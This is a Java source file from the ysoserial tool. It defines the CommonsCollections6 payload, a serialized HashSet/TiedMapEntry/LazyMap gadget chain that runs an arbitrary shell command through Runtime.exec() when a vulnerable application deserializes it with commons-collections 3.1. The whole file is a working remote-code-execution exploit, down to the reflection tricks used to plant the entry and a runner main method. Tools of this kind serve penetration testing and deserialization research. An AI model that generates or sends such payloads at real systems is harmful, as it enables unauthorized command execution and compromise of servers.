package ysoserial.payloads; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.PayloadRunner; import java.io.Serializable; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map; /* Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec() by @matthias_kaiser */ @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"commons-collections:commons-collections:3.1"}) public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> { public Serializable getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; Transformer transformerChain = new ChainedTransformer(transformers); final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); HashSet map = new HashSet(1); map.add("foo"); Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } f.setAccessible(true); HashMap innimpl = (HashMap) f.get(map); Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); } f2.setAccessible(true); Object[] array = (Object[]) f2.get(innimpl); Object node = array[0]; if(node == null){ node = array[1]; } Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } keyField.setAccessible(true); keyField.set(node, entry); return map; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections6.class, args); } }